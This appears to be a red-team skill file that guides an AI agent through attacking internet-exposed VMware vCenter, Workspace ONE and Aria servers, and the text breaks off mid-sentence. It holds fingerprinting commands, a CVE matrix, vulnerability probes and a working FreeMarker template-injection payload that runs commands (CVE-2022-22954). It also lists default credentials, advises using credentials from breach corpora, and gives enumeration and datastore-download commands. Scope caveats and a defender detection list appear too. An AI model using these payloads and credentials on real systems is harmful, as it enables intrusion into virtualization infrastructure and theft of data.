vmware-vcenter-attack

---

name: vmware-vcenter-attack description: VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, /ui redirect, /websso/SAML2/Metadata, or VMware product fingerprints. sources: vmware-security-advisories, public-cve-databases, redteam-knowledge, disclosed-cves, cisa-kev, mandiant-zdi-writeups report_count: 10

When to use

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: /ui, /ui/login, /websso/SAML2/Metadata, /sdk, /mob (Managed Object Browser)
• TLS cert SAN includes vcenter / vsphere / vcsa / psc / vmware
• Workspace ONE Access / Identity Manager: /SAAS, /SAAS/auth, /SAAS/login, /SAAS/horizon
• VMware Aria / vRealize: /vco, /vco-controlcenter, /orchestrator, /lcm/api/v1
• Horizon View: /portal, /admin

Do NOT use for:

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

---

Step 1 — Version fingerprinting

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

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Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

| CVE | Affected | Vector | Status | |---|---|---|---| | CVE-2024-37085 | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops | | CVE-2024-22273 | ESXi/Workstation/Fusion/vCenter storage controller | OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9) | Important (CVSS 8.1), not external pre-auth | | CVE-2024-22252/53 | Workstation/Fusion (not vCenter) | Sandbox escape | Not external | | CVE-2023-34048 | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 | | CVE-2023-20887 | Aria Operations for Networks | Pre-auth command injection → RCE | Critical | | CVE-2023-20892 | vCenter 7/8 | Use-after-free in DCE/RPC | High | | CVE-2022-31656/31659 | Workspace ONE Access 21.x | Pre-auth SSRF + auth bypass | Critical chained | | CVE-2022-22954 | Workspace ONE Access | Pre-auth server-side template injection (SSTI) → RCE | Critical, widely exploited | | CVE-2021-22005 | vCenter 6.7/7.0 < build | Analytics service pre-auth file upload → RCE | Critical | | CVE-2021-21985 | vCenter 6.5/6.7/7.0 < build | vSAN Health Check plugin pre-auth RCE | Critical | | CVE-2021-21972 | vCenter 6.5/6.7/7.0 < build | vRealize plugin /ui/vropspluginui/rest/services/uploadova pre-auth file upload → RCE | Critical, exploited heavily | | CVE-2020-3992 | ESXi OpenSLP | Pre-auth use-after-free → RCE | Critical, ESXi ransomware vector | | CVE-2019-5544 | ESXi OpenSLP | Pre-auth heap overflow | Critical |

---

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

---

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

Confirmed RCE requires the unique $CANARY reflected in-band plus uid= output not present in the Stage-A baseline → critical. Stop and report. A bare uid= with no canary echo is NOT confirmation.

---

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

| Product | Default user | Default password | |---|---|---| | vCenter 6.x | administrator@vsphere.local | <set-during-install> | | vCenter Appliance root | root | vmware (legacy) or <set> | | ESXi root | root | <blank> or vmware | | vCenter Server Appliance Mgmt (5480) | root | <set-during-install> | | Aria Operations | admin | vmware (legacy) | | Workspace ONE | admin | <set> |

⚠ Do not spray vCenter — administrator@vsphere.local has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

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Step 6 — SSO / vmdir LDAP enumeration

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---

Step 7 — Managed Object Browser (MOB) — frequently leaks data

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

---

Step 8 — vSphere REST API enumeration (post-cred)

# Get session token
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---

Step 9 — Workspace ONE Access specific paths

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"

---

Step 10 — Aria / vRealize specific paths

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"

---

Tooling

• vCenter-Exploit collection (multiple PoCs on GitHub for 21972, 21985, 22005)
• Greenbone/openvas-scanner VMware NASL plugins — version detection
• nuclei templates: vmware-vcenter-*.yaml, cve-2021-21972.yaml, cve-2022-22954.yaml
• Metasploit modules: exploit/multi/http/vmware_vcenter_*

---

Detection patterns (what defenders/SOC will see)

• Excessive 404s on /ui/vropspluginui/* — IDS signature
• POST to /sdk from non-management IP
• administrator@vsphere.local auth failures
• TLS handshake fingerprint changes
• Plugin upload to vRealize endpoint

Pair with mid-engagement-ir-detection skill — vCenter is monitored heavily in mature SOCs.

---

External-only boundary check

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per feedback_skill_boundaries. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

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Severity scoring guidance (red-team deliverable context)

| Finding | Severity | |---|---| | vCenter on internet, current patch | Informational (attack surface note) | | vCenter on internet, missing patches with public RCE | Critical (entire virtualization plane compromise) | | vCenter on internet + default admin password | Critical (immediate full takeover) | | Workspace ONE on internet, unpatched 22954 | Critical | | MOB anonymously accessible | High (full topology disclosure) | | /sdk reachable + version disclosure only | Medium (info disclosure + attack-surface concentration) |

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Anti-patterns

• DO NOT spray vCenter SSO — lockout is aggressive; one chance often
• DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
• DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
• DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

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Bridge to neighboring skills

• enterprise-vpn-attack — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
• m365-entra-attack — vCenter SSO sometimes federated to Entra; cred-chain bridging
• mid-engagement-ir-detection — vCenter monitoring is sensitive; expect mid-engagement mitigations
• redteam-report-template — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an